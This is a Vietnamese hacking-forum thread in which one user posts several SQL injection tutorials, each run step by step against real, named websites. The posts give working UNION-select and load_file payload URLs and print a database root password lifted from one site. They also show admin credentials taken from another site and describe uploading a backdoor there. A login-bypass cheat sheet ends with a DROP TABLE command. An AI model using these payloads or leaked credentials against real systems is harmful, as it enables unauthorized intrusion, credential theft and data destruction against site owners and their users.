Copy code

mún đọc file jì, cứ thêm đằng sau local/

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/www"),4/*
Copy code

ta phải xác định userid nữa
ta dùng 1 câu lệnh như sau.

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/etc/rc.conf"),4/*
Copy code

KQ thu được: hostname=blackfoot.meginc.com" chẳng có gì ở đây. nhưng thông tin này cũng nên quan tâm.
Khi truy vấn câu lệnh này.

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/www"),4/*
Copy code

Ta có thể thấy 1 dòng chữ meginc ===&gt; có lẽ đây là userid rồi đấy.

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/www/meginc/"),4/*
Copy code

lại hiện ra 1 loạt cái gì đó đúng h0k. lang thang kiếm được cái folder admin nè.

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/www/meginc/admin/"),4/*
Copy code

hiện ra tùm lun cái gì gì đó. db_connect.phtml ===&gt; ơ thế cái này là cái gì nhỉ.

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/www/meginc/admin/db_connect.phtml"),4/*
Copy code

ô la lá

Mã:
&#36;hostname=blackfoot.meginc.com";
&#36;db_username=root";
&#36;db_password=jd4495jv";
&#36;db_name=meg";

Copy code

cái gì vậy ta. thôy đến đây là đủ rồi.

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:33:44, 17-02-2016

Basic - SQL injection By Pass - BKL - chỉ dùng cho server chạy MySQL, MSSQL
1)Lấy tên table và column hiện hành:
Login với username: ' having 1=1--
Lỗi
[Microsoft[ODBC SQL Server Driver[SQL ServerColumn 'VICTIM.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
----&gt; Ta có được TABLE là VICTIM
Tiếp tục
username: ' group by VICTIM.ID having 1=1--
Lỗi
[Microsoft[ODBC SQL Server Driver[SQL ServerColumn 'VICTIM.Vuser' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Vậy là ta có column là Vuser

2) UNION nhỏ mà hiệu quả
Login với username : ' Union select [column from where [column2=...--
password : everything
Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta gõ như sau :
username : ' Union select VPASS from VTABLE where VUSER=admin'-- (1)
password : everything
(1) : Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên
Lỗi
[Microsoft[ODBC SQL Server Driver[SQL ServerAll queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column của table VTABLE được Union hết. Structure của nó như sau:
username : ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER=admin'-- (1)
password : everything
Bạn hãy thêm ",1" cho đến khi kết quả ra đại loại như sau:
Lỗi
[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the nvarchar value 'tuibihackroi' to a column of data type int.
Như vậy Pass của user 'admin' là 'tuibihackroi'

3) Lấy hết value của một column đã biết trong một table đã biết
Bí quyết ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước):
Với Vuser là admin ta có thể lấy được các user khác
Login với username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’)—
Vâng, sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in ( vd: Not in (‘admin’,’hacker’,….)) cứ làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password).
**** Ðể lấy danh sách tên các user theo một quy định mà bạn chọn , ví dụ chi lấy các user có chứa từ admin chẳng hạn ta dùng “like” : cấu trúc
Login với username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’) like %admin%—

4) Lấy hết table và column của của database:
Bí quyết chính là table này của database : INFORMATION_SCHEMA.TABLES với column TABLE_NAME (chứa toàn bộ table) và table : INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứa toàn bộ column)
Login với username: ‘ UNION SELECT TABLE_NAME,1,1,1…,1 FROM INFORMATION_SCHEMA.TABLES WHERE …….
Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó :
Login với username: ‘ UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’… ’ and ……

5) Không cần UNION:
Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng "Convert" một cách dẽ dàng hơn để thu thập info qua các thông báo lỗi
Login với user : ' + convert (int,(select @@version))--
Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái "select @@version" nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé
vd: user : ' + convert (int,(select Vpass from Vtable where Vuser=admin'))--
Lưu ý : Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b
vd: user : ' %2b convert (int,(select Vpass from Vtable where Vuser=admin'))--

6) Run command SQL :
Login vơi user :' ; [command--
vd: '; DROP TABLE VTABLE--

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:30:59, 17-02-2016

Basic
1. Chuẩn bị:
http://chxo.com/scripts/hex2string.php (website để chuyển đổi hex sang str và ngược lại)

2. vào web tne
http://www.tne.com.vn
tìm thấy lỗi injection
http://www.tne.com.vn/?a=news&id=5'
Trích dẫn:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by id desc limit 10' at line 1
ok, bắt đầu khai thác.

Bước 1: Tìm kiểu database (xem MYSQL version mấy, 3,4,5 hay 6)

(xem có chạy đc nếu là version 4 ko nhỉ) - vào web ngon
-&gt; báo lỗi =&gt;
suy ra =&gt; DB Server:MySQL &gt;=5

Bước 2: Sử dụng union để tìm theo định dạng union select 1,2,3,5,6 để show dữ liệu

thử thêm vài phát nữa, à ra rồi 1, 3, 5 (số 1 là cái ID ở cái link cuối cùng ấy - mà cũng chẳng quan trọng lắm - tuy nhiên nếu bạn muốn admin hạn chế dò ra đc từ log thì nên sử dụng số 1 đấy)
như vậy tương ứng có 9 columns đc select.
Có bạn hỏi tại sao tôi lại sử dụng 0x31 mà ko gõ luôn là 1?
Gõ là 1 thì cũng ok thôi, tuy nhiên có 1 số site nó sử dụng php function hạn chế 1 số key vì vậy tôi sử dụng 0x31 như một thói quen thôi.
Cũng có 1 số Pro sử dụng giá trị 0x31303235343830303536 (1025480056) là giá trị max int.
ở đây tôi sẽ sử dụng số 3 và viết rõ 1,2,3,4... cho các bạn dễ tham khảo.

Bước 3: Xem tên DB, user

SELECT command denied to user 'tne'@'localhost' for table 'db' =&gt; user la "tne"

Bước 4: Đếm và xem tables name:
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
~'17'~ =&gt; Có 17 tables trong schema tables.

http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
C6469636876752C646D626E2C656E74696E7475632C67696F6 974686965752C686F696461702C6B6861636868616E672C6C6 9656E68652C6C6F616973702C6C6F61697370312C6F6E6C696 E652C7175616E747269332C73616E7068616D2C73686F70706 96E67636172742C7461696C6965752C74696E7475632C75736 5726F6E6C696E65
tương ứng với
banner,dichvu,dmbn,entintuc,gioithieu,hoidap,khach hang,lienhe,loaisp,loaisp1,online,quantri3,sanpham ,shoppingcart,tailieu,tintuc,useronline
nhìn vào tables thế này tôi đoán là user/pass chỉ có trong table quantri3.

Bước 5: Khai thác columns trong table nghi vân
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
69642C74656E2C6D61746D612C6D61696C
tương ứng với: id,ten,matma,mail

Bước 6: Khai thác dữ liệu trong table nghi vấn (user/pass admin)
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
http://www.tne.com.vn/?a=news&id=-13...,4,5,6,7,8,9--
=&gt;1/admin/1234567/duongtodung@gmail.com

Bước 7: Login và upload (Hiện admin mình đã đặt thêm 1 lớp mật khẩu nữa sử dụng htpasswd) - do đó các công đoạn về sau chỉ mang tính chất tham khảo)
Admin Login link tìm đơn giản
http://www.tne.com.vn/admin/lock.php (file này đã xóa nhằm mục đích tránh sự phá hoại)
login với user pass trên
bypass với http://www.tne.com.vn/admin/fckconfig.js
và upload file backdoor lên.

Bước 8: Giấu link và Local Attack:
do server bật safe_mod nên phải bypass safe_mod trước đã
Cách thức thì cũng khá đơn giản
Một số tool đc sử dụng để hack (do bạn kid share)
http://www.hackingart.com/download/tne_hacked.zip
Server mặc dù đặt safe_mod nhưng không cấu hình base_dir nên vẫn rất dễ vượt qua.
Nếu có thời gian mình sẽ cài đặt lại con này rồi nhờ các bạn test. Hi hi.

Bước 9: Bypass Root.

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:28:52, 17-02-2016

Basic
Để test site lổi các bạn có thể dùng dấu '
Ví dụ : http://www.site.com/news.php?id=5'
Ở đây mình sẽ test site này
http://www.tartanarmy.com/news/news.php?id=130'
site đã dính
img
PHP Code:
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:Domainstartanarmy.comwwwrootnewsnews.php on line 19 PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:Domainstartanarmy.comwwwrootnewsnews.php on line 25
Copy code


Tiếp theo các bạn có thể dùng tools get or get bằng tay ^^
Bắt đầu nào ^^:
Bạn phải tìm xem có bao nhiêu columns trong site
PHP Code:
http://www.tartanarmy.com/news/news.php?id=130 order by 3
Copy code

Luôn luôn bắt đầu bằng 3 vì một site luôn có 3 cột
---> ở trang này mình test luôn đến 10
PHP Code:
http://www.tartanarmy.com/news/news.php?id=130 order by 10
Copy code


img
^^như vậy là ít hơn 10 cột
Hãy thử để tìm ra cột
ở đây mình test 6. điều quan trọng là các bạn phải tìm ra cột nào Lỗi
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,5,6
Copy code

Chú ý cái dấu màu đỏ ( - ) điều này rất quan trọng nó sẽ liên kết với vế sau
img
Nhìn vào đó các bạn thấy cột 2-4-5 rất dể bi lổi .chú ý khai thác
----?> H chúng ta tìm phiên bản PHP nhé
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,@@version,6
Copy code

img
Có thấy hình không chắc không cần nói vision mấy chứ
^^
^^
H các bạn làm sao thấy các table name nhìn bên dưới đi ^^
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(table_name),6  from information_schema.tables where table_schema= database ()
Copy code


img
Các bạn thấy tar_admin hãy tìm info thông tin trong đó
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6  from information_schema.columns where table_name= tar_admin
Copy code


Nhưng làm sao các pro có thể thay đổi info thì hãy tải cái
đầu tiên mình đã nói
Hãy chuyển đổi thành char() vào MySQL, sau đó MYSQL CHAR ().
HackBar [FireFox

PHP Code:
tar_admin = CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
Copy code

Toàn bộ sẽ là
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6  from information_schema.columns where table_name= CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
Copy code

[img
Chúng ta đang tìm pass admin ^^
hãy nhìn img
img
Chúng ta đã thấy được j rồi ^^
Tiến hành view pass thui
PHP Code:
http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6 from tar_admin
Copy code


img

Like: 0
Lên trên  Tổng số: 14
« 1 2 »







Trực Tuyến: Khách: 1
Diễn đàn teen Việt Nam
CopyRight 2014